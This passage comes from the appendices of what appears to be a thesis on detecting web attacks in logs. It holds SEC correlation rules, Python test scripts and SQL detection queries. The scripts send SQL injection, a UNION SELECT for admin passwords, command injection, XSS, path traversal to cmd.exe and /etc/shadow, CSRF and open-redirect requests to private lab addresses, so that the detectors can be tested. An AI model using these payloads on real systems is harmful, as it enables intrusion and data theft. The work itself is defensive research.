action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Related...
    : " "$0"

```

## B.9 Naïve Webcrawler

Listing B.16: Linux version of naive\_webcrawler.conf

```
#Configuration for detecting a naive web crawler
#detects when the number of requests from a given IP exceeds 25 in...
    10 seconds
#Created: 9 July 2009 by JMM
#Modified: 03 May 2010

#if we get an access, add the log to the string for that IP
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*\s.*\s\[".*\]"
context=[HYBRID_LOGGING]
desc=$0
action=add NAIVEWEB_$1 $0

type=SingleWithThreshold
ptype=RegExp
pattern=(.*)\s\[([.])\]\s.*\s.*\s.*\s.*\s\[".*\]"
desc=Possible webcrawler at $1
action=event NAIVEWEB_AT_$1_$2;
window=10
thresh=25

type=SingleWithSuppress
ptype=RegExp
continue=TakeNext
pattern=NAIVEWEB_AT_(.*)_(.*)
desc=NAIVEWEB_AT_(.*)
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|possible webcrawler, suppressing for 60 ...
    seconds"
window=60

type=SingleWithSuppress
```

```

ptype=RegExp
pattern=NAIVEWEB_AT_(.*)_(.*)
context=[HYBRID_LOGGING]
desc=NAIVEWEB_DETECTED_AT_(.*)
action=report NAIVEWEB_$1 /home/user/sec-2.5.3/common/...
        hybridsyslogclient; empty NAIVEWEB_$1
window=60

```

Listing B.17: Windows version of naive\_webcrawler.conf

```

#Configuration for detecting a naive web crawler
#detects when the number of requests from a given IP exceeds 25 in...
    10 seconds
#Created: 9 July 2009 by JMM
#Modified: 03 May 2010

#if we get an access, add the log to the context for that IP
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(\[.*\])\s.*\s.*\s.*\s.*\s\'.*\'
context=[HYBRID_LOGGING]
desc=$0
action=add NAIVEWEB_$3 $0

type=SingleWithThreshold
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*\s(.*)\s.*\s.*\s.*\s.*
desc=Possible webcrawler at $3
action=event NAIVEWEB_AT_$3_$1 $2
window=10
thresh=25

type=SingleWithSuppress
continue=TakeNext
ptype=RegExp

```

```

pattern=NAIVEWEB_AT_(.*)_(.*)
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $2|$1|possible webcrawler, suppressing for 60 ...
    seconds"
window=60

type=SingleWithSuppress
continue=TakeNext
ptype=RegExp
pattern=NAIVEWEB_AT_(.*)_(.*)
desc=$0
context=[HYBRID_LOGGING]
action=report NAIVEWEB_$1 perl "C:\sec-2.5.3\common\aggLogSender....
    pl"; empty NAIVEWEB_$1
window=60

```

### ***B.10 Delayed Webcrawler***

Listing B.18: Linux version of delayed\_webcrawler.conf

```

#Delayed Webcrawler
#this configuration file detects when a web crawler with a ...
    constant time interval between requests is used
#Created: 26 August 2009 by JMM
#Modified: 03 May 2010

#customization:
#%c: the maximum number of accesses to consider before expiring ...
    old times can be set in the action line of the second rule. it'...
    s 20 now
#threshold: the standard deviation threshold can be set in the ...
    context of the third rule. it's 0.5(seconds) now

#import external script for stat analysis

```

```

#NOTE: this rule must be run with the -intevents flag so it ...
    imports the external module
type=Single
desc=Module load
ptype=SubStr
pattern=SEC_STARTUP
context=[SEC_INTERNAL_EVENT]
action=eval %a (require "common/FindDelayedRobot.pl");

type=Single
desc=Module load
ptype=SubStr
pattern=SEC_RESTART
context=[SEC_INTERNAL_EVENT]
action=eval %a (require "common/FindDelayedRobot.pl");

#if we get an access, add the log to the string for that IP and ...
    create an event
type=Single
ptype=RegExp
pattern=(.*)\s(\[.*\])\s.*\s.*\s.*\s.*\s\[".*\]
desc=$0
action=eval %b (if($count{"$1"}>20){$dwcips{"$1"}=substr($dwcips{"...
    $1"},28)."$2"; $count{"$1"}=0}else{$dwcips{"$1"}.="2";}); eval %...
    c ($count{"$1"}++); event WEBCRAWLER_TIMES_$1_$2; add ...
    WEBCRAWLER_$1 $0

#when we get an access, call a script to see if the standard ...
    deviation falls within our threshold
type=SingleWithSuppress
continue=TakeNext
ptype=RegExp
pattern=WEBCRAWLER_TIMES_(.*)_(.*)
desc=WEBCRAWLER_TIMES_$1
context= ({DelayedRobot(0.5,$dwcips{"$1"})})

```

```

action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|possible delayed webcrawler, suppressing ...
    for 60 seconds"; event WEBCRAWLER_DETECTED_$1_$2
window=60

#if there was an alert and hybrid logging is turned on, send raw ...
    logs as well
type=SingleWithSuppress
ptype=RegExp
pattern=WEBCRAWLER_DETECTED_(.*)_(.*)
desc=WEBCRAWLER_DETECTED_$1
context= [HYBRID_LOGGING]
action=report WEBCRAWLER_$1 /home/user/sec-2.5.3/common/...
    hybridsyslogclient; eval %b ($dwciips{"$1"}=""); empty ...
    WEBCRAWLER_$1
window=60

#calendar event could be added to zero out array

```

Listing B.19: Windows version of delayed\_webcrawler.conf

```

#Delayed Webcrawler
#this configuration file detects when a web crawler with a ...
    constant time interval between requests is used
#Created: 26 August 2009 by JMM
#Modified: 03 May 2010

#customization:
#%c: the maximum number of accesses to consider before expiring ...
    old times can be set in the action line of the second rule. it'...
    s 20 now
#threshold: the standard deviation threshold can be set in the ...
    context of the third rule. it's 0.5(seconds) now

#import external script for stat analysis

```

```

#NOTE: this rule must be run with the -intevents flag so it ...
    imports the external module
#run "set TZ=-0400" at startup so Date::Manip knows what time zone...
    it is
type=Single
desc=Module load
ptype=SubStr
pattern=SEC_STARTUP
context=[SEC_INTERNAL_EVENT]
action=eval %a (require "C:\\sec-2.5.3\\common\\FindDelayedRobot....
    pl"););

type=Single
desc=Module load
ptype=SubStr
pattern=SEC_RESTART
context=[SEC_INTERNAL_EVENT]
action=eval %a (require "C:\\sec-2.5.3\\common\\FindDelayedRobot....
    pl"););

#if we get an access, add the log to the string for that IP and ...
    create an event
type=Single
ptype=RegExp
pattern=(.*)\\s(.*)\\s.*\\s.*\\s(.*)\\s.*\\s.*\\s.*\\s.*\\s.*
desc=$0
action=eval %o ($ips{"$3"}.="[$1 $2]); event ...
    WEBCRAWLER_TIMES_$3_$1 $2; add WEBCRAWLER_$3 $0

#when we get an access, call a script to see if the standard ...
    deviation falls within our threshold
type=SingleWithSuppress
continue=TakeNext
ptype=RegExp
pattern=WEBCRAWLER_TIMES_(.*)_(.*)

```

```
desc=WEBCRAWLER_TIMES_$1
context= ({DelayedRobot(0.5,$ips{"$1"})})
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $2|$1|possible delayed webcrawler, suppressing for...
    60 seconds"; event WEBCRAWLER_DETECTED_$1_$2; eval %o ($ips{"...
    $3"}="");
window=60

#if there was an alert and hybrid logging is turned on, send raw ...
    logs as well
type=SingleWithSuppress
ptype=RegExp
pattern=WEBCRAWLER_DETECTED_(.*)_(.*)
desc=$0
context= [HYBRID_LOGGING]
action=report WEBCRAWLER_$1 perl "C:\sec-2.5.3\common\aggLogSender...
    .pl"; empty WEBCRAWLER_$1
window=60
```

### B.11 Excessive Downloads

Listing B.20: Linux version of downloads.conf

```
#Excessive downloads
#this configuration file detects when the amount downloaded from a...
    host exceeds 1 MB
#Created: 10 July 2009 by JMM
#Modified: 03 May 2010

#if IP has downloaded less than 100MB, add current request amount ...
    to total
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[((.*)\]\s(.*)\s.*\s.*\s.*\s\".*\"
desc=$0
```



```

action=eval %o ( $ips{"$1"}+= $3 ); add DOWNLOADS_$1 $0

#if they have crested 100MB, write out the warning and wait 60 ...
    seconds
type=SingleWithSuppress
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s([.]*)\s.*\s.*\s.*\s\[".*\]"
desc=$1 exceeded
context= ({ $ips{"$1"}>=1000000000 })
action=eval %o ( $ips{"$1"} ); shellcmd /home/user/sec-2.5.3/common/...
    syslogclient "Synthetic: " "$2|$1|Excessive downloads: %o bytes...
    , suppressing for 60 seconds"
window=60

#if they exceeded the download size and hybrid logging is enabled...
    , send raw logs as well
type=SingleWithSuppress
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s([.]*)\s.*\s.*\s.*\s\[".*\]"
desc=$1 exceeded hybrid
context= ({ $ips{"$1"}>=1000000000 }) && HYBRID_LOGGING
action=report DOWNLOADS_$1 /home/user/sec-2.5.3/common/...
    hybridsyslogclient; empty DOWNLOADS_$1
window=60

#calendar event could be added to zero out array

```

Listing B.21: Windows version of downloads.conf

```

#Excessive downloads
#this configuration file detects when the amount downloaded from a...
    host exceeds 100 MB
#Created: 10 July 2009 by JMM
#Modified: 03 May 2010

```

```

#if IP has downloaded less than 100MB, add current request amount ...
    to total
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*\s(.*)\s.*\s.*\s(.*)\s.*
desc=$0
action=eval %o ( $ips{"$3"}+=$4 ); add DOWNLOADS_$3 $0

#if they have crested 100MB, write out the warning and wait 60 ...
    seconds
type=SingleWithSuppress
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*\s(.*)\s.*\s.*\s(.*)\s.*
desc=$3 exceeded
context= ({ $ips{"$3"}>=100000000 })
action=eval %o ( $ips{"$3"} ); shellcmd C:\sec-2.5.3\common\...
    klogclient.bat "SECEvent: Synthetic: $1 $2|$3|Excessive ...
    downloads: %o bytes, suppressing for 60 seconds"
window=60

#if they exceeded the download size and hybrid logging is enabled...
    , send raw logs as well
type=SingleWithSuppress
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*\s(.*)\s.*\s.*\s(.*)\s.*
desc=$3 exceeded hybrid
context= ({ $ips{"$3"}>=100000000 }) && HYBRID_LOGGING
action=report DOWNLOADS_$3 perl "C:\sec-2.5.3\common\aggLogSender....
    pl"; empty DOWNLOADS_$3
window=60

```

## ***B.12 Excessive Access Attempts***

Listing B.22: Linux version of errors.conf

```
#HTTP Errors
#this configuration file detects an "excessive" number of HTTP ...
    errors
#Created: 20 July 2009 by JMM
#Modified: 03 May 2010

#keep track of matching events
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.*)\]\s([.*)\s[.)*\s[.)*\s[.)*\s[.)*\".*\"
desc=$0
context=[HYBRID_LOGGING]
action=add ERRORS_$1

#count up 301 (moved permanently), 401(unauthorized), 404(not ...
    found), 403(forbidden), 410(gone), 501(not implemented, ...
    probably unrecognized request method) and 503(service ...
    unavailable) errors and report when it exceeds the threshold.
type=SingleWithThreshold
ptype=RegExp
pattern=(.*)\s\[([.*)\]\s[.)*\s(301|401|403|404|410|500|501|503)\s[.)*\...
    s[.)*\s[.)*\".*\"
desc=$3 errors from $1
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "...
    Synthetic: " "$2|$1|Excessive HTTP $3 errors detected"; event ...
    ERRORS_DETECTED_$1
window=10
thresh=10

#if hybrid logging is turned on, send raw log also
type=Single
ptype=RegExp
pattern=ERRORS_DETECTED_(.*)
```

```

desc=$0
context=[HYBRID_LOGGING]
action=report ERRORS_$1 /home/user/sec-2.5.3/common/...
    hybridsyslogclient; empty ERRORS_$1

```

Listing B.23: Windows version of errors.conf

```

#HTTP Errors
#this configuration file detects an "excessive" number of HTTP ...
    errors
#Created: 20 July 2009 by JMM
#Modified: 03 May 2010

#keep track of matching events
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*\s(.*)\s.*\s...
    (301|401|403|404|410|500|501)\s.*\s.*
desc=$0
context=[HYBRID_LOGGING]
action=add DOWNLOADS_$3 $0

#count up 301 (moved permanently), 401(unauthorized), 404(not ...
    found), 403(forbidden), 410(gone), 501(not implemented, ...
    probably unrecognized request method) and 503(service ...
    unavailable) errors and report when it exceeds the threshold.
type=SingleWithThreshold
ptype=RegExp
pattern=(.*)\s(.*)\s.*\s.*\s(.*)\s.*\s...
    (301|401|403|404|410|500|501)\s.*\s.*
desc=$3 errors from $1
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: ...
    Synthetic: $1 $2|$3|Excessive HTTP $4 errors detected"; event ...
    ERRORS_DETECTED_$3
window=10

```

```

thresh=10

#if hybrid logging is turned on, send raw log also
type=Single
ptype=RegExp
pattern=ERRORS_DETECTED_(.*)
desc=$0
context= [HYBRID_LOGGING]
action=report DOWNLOADS_$1 perl C:\sec-2.5.3\common\common\...
        aggLogSender.pl

```

### *B.13 Injection Sequence*

Listing B.24: Linux version of injectionsequence.conf

```

#SQL Injection
#this configuration file detects a suspicious sequence
#of events that may indicate sql injection
#Created: 29 April 2010 by JMM
#Modified:

#look for connection string in mysql.log
#when one occurs, store the username in the context
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\s+.*Connect\s+(.*)\son
desc=$0
action=add SQLINJ_CONNECTED $2

#if hybrid logging is enabled, store the raw log
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\s+.*Connect\s+(.*)\son
context=[HYBRID_LOGGING]

```

```

desc=$0
action=add SQLINJ_CONNECTED_RAW $0

#look for insert into comments in mysql.log
type=Single
continue=TakeNext
ptype=RegExp
pattern=.*Query\s+insert into comments.*
desc=$0
action=create SQLINJ_COMMINS

#if hybrid logging is enabled, store the raw log
type=Single
ptype=RegExp
pattern=.*Query\s+insert into comments.*
context=[HYBRID_LOGGING]
desc=$0
action=add SQLINJ_COMMINS_RAW $0

#look for manipulation of user in mysql.log
type=Single
continue=TakeNext
ptype=RegExp
pattern=.*Query\s+insert into users.*
desc=$0
action=create SQLINJ_USERSACC

#if hybrid logging is enabled, store the raw log
type=Single
ptype=RegExp
pattern=.*Query\s+insert into users.*
context=[HYBRID_LOGGING]
desc=$0
action=add SQLINJ_USERSACC_RAW $0

```

```

#look for web access in access.log
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.*)\]\s.*\s.*\s/comments.php\s.*\s\".*\"
desc=$0
action=add SQLINJ_PAGEACC $2|$1

#if hybrid logging is enabled, store the raw log
type=Single
continue=TakeNext
ptype=RegExp
pattern=(.*)\s\[([.*)\]\s.*\s.*\s/comments.php\s.*\s\".*\"
context=[HYBRID_LOGGING]
desc=$0
action=add SQLINJ_PAGEACC_RAW $0

#look for all of the above, and if they are all present, fire an ...
    alert
type=Single
continue=TakeNext
ptype=RegExp
pattern=.*
context=[SQLINJ_CONNECTED && SQLINJ_COMMINS && SQLINJ_USERSACC && ...
    SQLINJ_PAGEACC]
desc=$0
action=copy SQLINJ_CONNECTED %q; copy SQLINJ_PAGEACC %i; shellcmd...
    /home/test/sec-2.5.3/common/syslogclient "Synthetic: " "%i|sql...
    injection sequence detected with username %q"; delete ...
SQLINJ_CONNECTED; delete SQLINJ_COMMINS; delete SQLINJ_USERSACC...
; delete SQLINJ_PAGEACC; create SQLINJ_ALERT

#if hybrid logging is enabled, write out raw logs and delete ...
    container contexts
type=Single

```

```

ptype=RegExp
pattern = .*
context=[SQLINJ_ALERT && HYBRID_LOGGING]
desc=$0
action=report SQLINJ_CONNECTED_RAW /home/test/sec-2.5.3/common/...
        hybridsyslogclient; report SQLINJ_COMMINS_RAW /home/test/sec...
        -2.5.3/common/hybridsyslogclient; report SQLINJ_USERSACC_RAW /...
        home/test/sec-2.5.3/common/hybridsyslogclient; report ...
        SQLINJ_PAGEACC_RAW /home/test/sec-2.5.3/common/...
        hybridsyslogclient; delete SQLINJ_CONNECTED_RAW; delete ...
        SQLINJ_COMMINS_RAW; delete SQLINJ_USERSACC_RAW; delete ...
        SQLINJ_PAGEACC_RAW; delete SQLINJ_ALERT

```

## ***B.14 All Events***

Listing B.25: Linux (Development) version of all\_events.conf

```
#forwards every event to syslog
```

```

type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*)\s.*\s\".*\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Raw: " "...
        $0"

type=Single
ptype=RegExp
pattern=.*
desc=$0
context=MYSQL
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Raw: " "...
        $0"

```



Listing B.26: Linux (Marketing) version of all\_events.conf

```
#forwards every event to syslog

type=Single
ptype=RegExp
pattern=(.*)\s\[([.]*)\]\s.*\s.*\s([.]*)\s.*\s\".*\"
desc=$0
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Raw: " "...
    $0"

type=Single
ptype=RegExp
pattern=.*
desc=$0
context=ERRORLOG
action=shellcmd /home/user/sec-2.5.3/common/syslogclient "Raw: " "...
    $0"
```

Listing B.27: Windows version of all\_events.conf

```
#All events
#forwards every command to syslog

#format is (date) (time) (cs-uri-stem) cs-uri-query (c-ip) cs(...
    Referer) sc-status sc-bytes
type=Single
ptype=RegExp
pattern=(.*)\s([.]*)\s([.]*)\s.*\s([.]*)\s.*\s.*\s.*
desc=$0
action=shellcmd C:\sec-2.5.3\common\klogclient.bat "SECEvent: Raw...
    : $0"
```

### ***B.15 Hybrid Context***

Listing B.28: Universal version of hybridcontext.conf

```
#Hybrid Context Creator
#if this configuration file is included, it creates an SEC-wide ...
    context that enables hybrid logging
#Created: 5 April 2010 by JMM
#Modified: 03 May 2010

#create indefinite-length context at startup
#NOTE: this rule must be run with the -intevents flag
type=Single
desc=Hybrid Logging Context
ptype=SubStr
pattern=SEC_STARTUP
context=[SEC_INTERNAL_EVENT]
action=create HYBRID_LOGGING

type=Single
desc=Hybrid Logging Context
ptype=SubStr
pattern=SEC_RESTART
context=[SEC_INTERNAL_EVENT]
action=create HYBRID_LOGGING
```

## *Appendix C. Attack Script Source Code*

### *C.1 Injection*

Listing C.1: Injection attack script

```
import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:
        html = response.read()

serverlist = ['http://10.1.0.101','http://10.1.1.101','http...
              ://10.1.2.101']
server = choice(serverlist)

#basic injection
url = server + '/' + 'action.cgi?usrid=\'%20or%201=1'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#encoded injection
url = server + '/' + 'action.cgi?usrid=%27%20%6F%72%201=1'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)
```

```

#specific injection
url = server + '/' + 'modules.php?name=Top&querylang=%20WHERE...
    %201=2%20UNION%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors...
    /*</pre>'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#SQL keywords
url = server + '/' + 'action.cgi?usrid=\'';select%20*%20from%20...
    users;'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#command injection
url = server + '/' + 'action.cgi?routine=thing%00system(ls;)'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## *C.2 Cross Site Scripting*

Listing C.2: Cross Site Scripting attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)

```

```

try:
    response = urlopen(req)
except URLError, e:
    print e
else:
    html = response.read()

serverlist = ['http://10.1.0.101', 'http://10.1.1.101', 'http...
              ://10.1.2.101']
server = choice(serverlist)

#image tags
url = server + '/' + 'postComment.php?content=<img%20src=...
        javascript:alert(\'XSS\')/>'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#javascript tags
url = server + '/' + 'foo.jsp?<script>foo</script>.jsp'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

url = server + '/' + 'cvslog.cgi?file=<script>window.alert</script>...
        >'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#general html

```

```

url = server + '/' + 'postComment.php?content=<b%20onmouseover=...
    alert(\'XSS\')>Bold%20content</b>'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

### *C.3 Broken Authentication and Session Management*

Listing C.3: Auth/Sesison Management attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:
        html = response.read()

serverlist = ['http://10.1.0.101','http://10.1.1.101','http...
    ://10.1.2.101']
server = choice(serverlist)

#login credentials
url = server + '/' + 'login.asp?username=badguy123&password=1234'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

```

#session information
url = server + '/' + 'processApp?param1=thing;jsessionid=1234'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## C.4 Insecure Direct Object References

Listing C.4: Object References attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:
        html = response.read()

serverlist = ['http://10.1.0.101','http://10.1.1.101','http...
              ://10.1.2.101']
server = choice(serverlist)

#unencoded traversal
url = server + '/' + 'scripts/..%2F../winnt/system32/cmd.exe?/c+...
    dir'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

```

#encoded traversal
url = server + '/' + 'scripts/%252E%252E%255C%252E%252E/winnt/...
    system32/cmd.exe?/c+dir'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#suspicious filenames
url = server + '/' + 'etc/shadow'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## C.5 Cross Site Request Forgery

Listing C.5: Cross Site Request Forgery attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:
        html = response.read()

serverlist = ['http://10.1.0.101','http://10.1.1.101','http...
    ://10.1.2.101']

```



```

server = choice(serverlist)

#good access
url = server + '/' + 'transferFunds.asp'
referer = 'www.bank.com'
values = {'acct' : '1234',
          'amt' : '1000'}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#bad access
url = server + '/' + 'transferFunds.asp'
referer = 'www.badguy.com/badscripht.php'
values = {'acct' : '1234',
          'amt' : '1000'}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## *C.6 Failure to Restrict URL Access*

Listing C.6: URL Access attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:
        html = response.read()

```

```

serverlist = ['http://10.1.0.101', 'http://10.1.1.101', 'http...
              ://10.1.2.101']
server = choice(serverlist)

#good access
url = server + '/' + 'addaccount.php'
referer = 'www.goodguy.com/admin.php'
values = {'acctname' : 'newacct',
          'id' : '1234'}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#bad access
url = server + '/' + 'addaccount.php'
referer = 'www.badguy.com'
values = {'acctname' : 'newacct',
          'id' : '1234'}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## *C.7 Unvalidated Redirects and Forwards*

Listing C.7: Redirects/Forwards attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url, data, headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:

```

```

        html = response.read()

serverlist = ['http://10.1.0.101', 'http://10.1.1.101', 'http...
              ://10.1.2.101']
server = choice(serverlist)

#good access
url = server + '/' + 'redirect.php?url=www.goodguy.com/banking.php...
    ,

referer = 'www.goodguy.com'
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#bad access
url = server + '/' + 'redirect.php?url=www.badguy.com/phishing.php...
    ,

referer = 'www.badguy.com'
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

### *C.8 Excessive Downloads*

Listing C.8: Excessive Downloads attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from time import sleep
from random import randint, choice

def makeRequest(url, values, headers):
    #data = urllib.urlencode(values)
    req = Request(url)
    try:
        response = urlopen(req)

```

```

except URLError, e:
    print e
else:
    html = response.read()

serverlist = ['http://10.1.0.101', 'http://10.1.1.101', 'http...
              ://10.1.2.101']
server = choice(serverlist)

#do this 5 times
for x in range(0, 16):
    if server == 'http://10.1.1.101':
        url = server + '/' + 'fun/jokes/eternal-flame.txt'
    else:
        url = server + '/' + 'fun/jokes/eternal-flame.ogg'
    referer = ''
    values = {}
    headers = {'Referer' : referer}
    makeRequest(url, values, headers)

    waittime = randint(0,10)
    sleep(waittime)

    url = server + '/' + 'music/free-software-song.au'
    referer = ''
    values = {}
    headers = {'Referer' : referer}
    makeRequest(url, values, headers)

    waittime = randint(0,10)
    sleep(waittime)

```

### *C.9 Excessive Access Attempts*

Listing C.9: Excessive Access Attempts attack script

```
import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)
    except URLError, e:
        print e
    else:
        html = response.read()

serverlist = ['http://10.1.0.101','http://10.1.1.101','http...
              ://10.1.2.101']
server = choice(serverlist)

#basic injection
url = server + '/' + 'action.cgi?usrid=\'%20or%201=1'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#encoded injection
url = server + '/' + 'action.cgi?usrid=%27%20%6F%72%201=1'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#specific injection
```

```

url = server + '/' + 'modules.php?name=Top&querylang=%20WHERE...
      %201=2%20UNION%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors...
      /*</pre>'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#SQL keywords
url = server + '/' + 'action.cgi?usrid=\'';select%20*%20from%20...
      users;'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

#command injection
url = server + '/' + 'action.cgi?routine=thing%00system(ls;)'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## *C.10 Injection Sequence*

Listing C.10: Injection Sequence attack script

```

import urllib
from urllib2 import Request, urlopen, URLError
from random import choice

def makeRequest(url, values, headers):
    data = urllib.urlencode(values)
    req = Request(url,data,headers)
    try:
        response = urlopen(req)

```

```

except URLError, e:
    print e
else:
    html = response.read()

server = "http://10.1.0.101"

url = server + '/' + 'comments.php?submitted=true&title=thing&...
    content=a%27);%20insert%20into%20users%20values(NULL,%20%27...
    Randolph%27,%20%27Badguy%27,%200000000000);%20insert%20into%20...
    comments%20values(%27a%27,%27a'
referer = ''
values = {}
headers = {'Referer' : referer}
makeRequest(url, values, headers)

```

## Appendix D. Database Queries and Scripts

### D.1 Injection (non-normalized)

Listing D.1: Injection (non-normalized)

```
spool injection.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select * from syslogd_mode4 where msgtext like '%or 1=1%';

select * from syslogd_mode4 where msgtext like '%27%20%6F...
%72%201=1%';

select count(*) from syslogd_mode4 where msgtext like '%select%' ...
or msgtext like '%union%' or msgtext like '%insert%' or msgtext...
like '%delete%' or msgtext like '%update%' or msgtext like '%...
replace%' or msgtext like '%truncate%';

select * from syslogd_mode4 where msgtext like '%system(%)' or ...
msgtext like '%eval(%)' or msgtext like '%\'' or msgtext like '...
%\%';

spool off;

exit;
```

### D.2 Injection (normalized)



## Listing D.2: Injection (normalized)

```
spool injection_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select msgdatetime, msgip, msgquery from syslogd_mode4_norm_raw ...
    where msgquery like '%or 1=1%';

select msgdatetime, msgip, msgquery from syslogd_mode4_norm_raw ...
    where msgquery like '%27%20%6F%72%201=1%';

select msgdatetime, msgip, msgquery from syslogd_mode4_norm_raw ...
    where msgquery like '%select%' or msgquery like '%union%' or ...
    msgquery like '%insert%' or msgquery like '%delete%' or ...
    msgquery like '%update%' or msgquery like '%replace%' or ...
    msgquery like '%truncate%';

select msgdatetime, msgip, msgquery from syslogd_mode4_norm_raw ...
    where msgquery like '%system(' or msgquery like '%eval(' or ...
    msgquery like '%\'' or msgquery like '%\\%';

spool off;

exit;
```

### *D.3 Cross Site Scripting (non-normalized)*

### Listing D.3: Cross Site Scripting (non-normalized)

```
spool xss.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'
SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select * from syslogd_mode4 where msgtext like '%<script%>%';

select * from syslogd_mode4 where msgtext like '%<img%>%';

select * from syslogd_mode4 where msgtext like '%<%/>%' or msgtext...
    like '%<%>%</%>%';

spool off;

exit;
```

### D.4 Cross Site Scripting (normalized)

#### Listing D.4: Cross Site Scripting (normalized)

```
spool xss_norm.log

SET ECHO ON
SET HEADING ON
SET NEWPAGE NONE
SET LINESIZE 300
SET FEEDBACK ON
SET COLSEP '|'

```

```

SET TIMING ON

alter session set nls_date_format = 'dd.mm.yyyy hh24:mi:ss';

select msgdatetime,msgip,msgquery from syslogd_mode4_norm_raw ...
    where msgquery like '%<script%>%';

select msgdatetime,msgip,msgquery from syslogd_mode4_norm_raw ...
